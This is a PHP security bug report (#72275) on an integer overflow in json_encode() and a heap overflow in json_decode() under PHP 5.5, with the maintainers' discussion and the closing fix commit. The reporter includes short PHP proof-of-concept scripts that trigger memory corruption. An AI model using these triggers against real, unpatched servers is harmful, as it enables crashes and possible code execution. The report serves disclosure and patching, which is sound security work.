php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72275 Integer Overflow in json_encode()/json_decode()/json_utf8_to_utf16()
Submitted: 2016-05-27 16:05 UTC Modified: 2016-06-21 06:46 UTC
From: taoguangchen at icloud dot com Assigned: stas
Status: Closed Package: JSON related
PHP Version: 5.5.36 OS:
Private report: No CVE-ID:
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2016-05-27 16:05 UTC] taoguangchen at icloud dot com
Description:
------------
Integer Overflow in json_encode():

```
static void json_escape_string(smart_str *buf, char *s, int len, int options TSRMLS_DC) /* {{{ */
{
	...
	while (pos < len)
	{
		us = (options & PHP_JSON_UNESCAPED_UNICODE) ? s[pos++] : utf16[pos++];

		switch (us)
		{
			case '"':
				if (options & PHP_JSON_HEX_QUOT) {
				smart_str_appendl(buf, "\\u0022", 6);
...
static PHP_FUNCTION(json_encode)
{
	...
		ZVAL_STRINGL(return_value, buf.c, buf.len, 1);
```

It is possible to create a corrupted string-typed ZVAL with negative value length via json_escape_string().

PoC:
```
<?php

ini_set('memory_limit', -1);
$str = str_repeat('"', 0xffffffff/6);
$str = json_encode($str, JSON_HEX_QUOT);
var_dump(strlen($str));

?>
```

Integer Overflow/Heap Overflow in json_decode()/json_utf8_to_utf16()

```
PHP_JSON_API void php_json_decode_ex(zval *return_value, char *str, int str_len, int options, long depth TSRMLS_DC) /* {{{ */
{
	int utf16_len;
	zval *z;
	unsigned short *utf16;
	JSON_parser jp;

	utf16 = (unsigned short *) safe_emalloc((str_len+1), sizeof(unsigned short), 1);

	utf16_len = json_utf8_to_utf16(utf16, str, str_len);
```

When `str_len` is -1, `utf16` will be allocated 0x10 size.

```
static int json_utf8_to_utf16(unsigned short *utf16, char utf8[], int len) /* {{{ */
{
	size_t pos = 0, us;
	int j, status;

	if (utf16) {
		/* really convert the utf8 string */
		for (j=0 ; pos < len ; j++) {
			us = php_next_utf8_char((const unsigned char *)utf8, len, &pos, &status);
			...
				utf16[j] = (unsigned short)us;
			}
		}
```

However `pos` is defined as size_t, thus produce signed comparison issue, `len` will be converted into size_t, that results in heap overflow.

PoC:
```
<?php

ini_set('memory_limit', -1);
$str = str_repeat('"', 0xffffffff/6).'A';
$str = json_encode($str, JSON_HEX_QUOT);
$str = json_decode($str);

?>
```


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-06-14 05:52 UTC] stas@php.net
Not sure I understand this part:

> When `str_len` is -1, 

why str_len would be -1?
 [2016-06-14 06:03 UTC] stas@php.net
Looks like in smart_str length is size_t but in zval length is int, so we'd need to put an overflow check there probably.
 [2016-06-14 06:14 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-06-14 06:14 UTC] stas@php.net
https://gist.github.com/24005a39e936688b845a6a88ae334210 and f64a911775186f14463155aa4d72c254f72a4a19 in security repo contain the fix. Please verify.
 [2016-06-14 06:19 UTC] taoguangchen at icloud dot com
-Status: Assigned +Status: Open
 [2016-06-14 06:19 UTC] taoguangchen at icloud dot com
the patch looks like OK for json_encode().

```
static PHP_FUNCTION(json_decode)
{
	char *str;
	int str_len;
	...
	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|bll", &str, &str_len, &assoc, &depth, &options) == FAILURE) {
		return;
	}
	...
	php_json_decode_ex(return_value, str, str_len, options, depth TSRMLS_CC);
}
```

json_decode() dose not check `str_len`, so set `str_len` into -1 is possible via a corrupted string-typed ZVAL.
 [2016-06-14 06:44 UTC] stas@php.net
Sorry, I'm not sure I understand - excluding the fixed bug, how you get the length to be negative? Is there another bug? Could you provide a reproduction for it?
 [2016-06-14 06:51 UTC] remi@php.net
@stas: I think should be (in your gist)

-	        if (UNEXPECTED((d)->a > INT_MAX)) { \
+	        if (UNEXPECTED((d)->a >= INT_MAX)) { \

As SMART_STR_DO_REALLOC use (d)->a + 1
 [2016-06-14 07:02 UTC] stas@php.net
Thanks, updated.
 [2016-06-14 07:18 UTC] taoguangchen at icloud dot com
Some functions can create a string with negative value length in 5.x series, ex: bug#72138 and bug#72268. I will post more examples later.
 [2016-06-14 07:34 UTC] taoguangchen at icloud dot com
In this bug, create a string with -1 as length via json_encode():

```
<?php

ini_set('memory_limit', -1);
$str = str_repeat('"', 0xffffffff/6).'A';
$str = json_encode($str, JSON_HEX_QUOT);
var_dump(strlen($str));

?>
```

Of course, you can say that it is not possible to input a string with negative value length directly, but it is possible via addslashes()/addcslashes() or other functions.
 [2016-06-14 07:35 UTC] stas@php.net
Please add those as separate bugs then.
 [2016-06-14 07:36 UTC] stas@php.net
Please add addcslashes/addslashes bug as a separate report with reproduction.
 [2016-06-21 06:49 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=489fd56fe37bf40a662931c2b4d5baa918f13e37
Log: Fix bug #72275: don't allow smart_str to overflow int
 [2016-06-21 06:49 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-06-21 07:03 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=489fd56fe37bf40a662931c2b4d5baa918f13e37
Log: Fix bug #72275: don't allow smart_str to overflow int
 [2016-06-21 07:26 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=489fd56fe37bf40a662931c2b4d5baa918f13e37
Log: Fix bug #72275: don't allow smart_str to overflow int
 [2016-06-21 07:27 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=489fd56fe37bf40a662931c2b4d5baa918f13e37
Log: Fix bug #72275: don't allow smart_str to overflow int
 [2016-06-22 05:58 UTC] krakjoe@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=489fd56fe37bf40a662931c2b4d5baa918f13e37
Log: Fix bug #72275: don't allow smart_str to overflow int
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Tue Aug 29 15:01:52 2017 UTC